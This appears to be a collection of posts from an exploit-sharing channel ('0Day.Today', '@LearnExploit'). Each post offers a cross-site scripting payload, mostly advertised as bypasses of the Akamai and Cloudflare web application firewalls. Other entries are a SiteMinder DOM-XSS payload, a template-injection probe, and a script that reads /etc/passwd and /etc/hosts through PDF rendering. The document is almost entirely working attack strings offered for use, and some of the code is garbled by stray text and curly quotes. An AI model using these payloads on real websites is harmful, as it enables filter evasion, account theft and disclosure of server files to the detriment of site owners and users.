Akamai WAF

<A %252F=""Href= JavaScript:k='a',top[k%2B'lert'](1)>

Vector PoC

#xss #Bypass
——————
0Day.Today
@LearnExploit
@Tech_Army

Bypass Cloudflare WAF (XSS without parentheses) inside an anchor tag

javascript:var{a:onerror}={a:alert};throw%20document.domain

#xss #Bypass #WAF
——————
0Day.Today
@LearnExploit
@Tech_Army

CloudFlare Bypass

<Img Src=OnXSS OnError=alert(1)>

#Bypass #XSS
——————
0Day.Today
@LearnExploit
@Tech_Army

XSS to Exfiltrate Data from PDFs 🔥🥵

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};http://x.open(‘GET’,’file:///etc/hosts’);x.send();</script><script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};http://x.open(‘GET’,’file:///etc/passwd’);x.send();</script>

#xss
——————
0Day.Today
@LearnExploit
@Tech_Army

bypass XSS Cloudflare WAF

Encoded Payload:

"><track/onerror='confirm\%601\%60'>

Clean Payload:

"><track/onerror='confirm`1`'>

HTML entity & URL encoding:

" --> &#34;
> --> &gt;
< --> &lt;
' --> &#x27;
` --> \%60

#Bypass #XSS #WAF
——————‌
0Day.Today
@LearnExploit
@Tech_Army

XSS of the day : DOM-XSS-SiteMinder

Payload:
\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e

Nuclei tamplete

#Payload #xss
——————‌
0Day.Today
@LearnExploit
@Tech_Army

This payload can be used for Client Side Template injection and Reflected XSS, perhaps a code injection can be triggered in the background

Payload :

'%3e%3cscript%3ealert(5*5)%3c%2fscript%3eejj4sbx5w4o

#Payload #xss
——————‌
0Day.Today
@LearnExploit
@Tech_Army

XSS WAF Bypass One payload for all 🔥

Link

#xss #Payload
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Nice collection of XSS filters bypasses 💎

Github

#Bypass #xss
——————‌
0Day.Today
@LearnExploit
@Tech_Army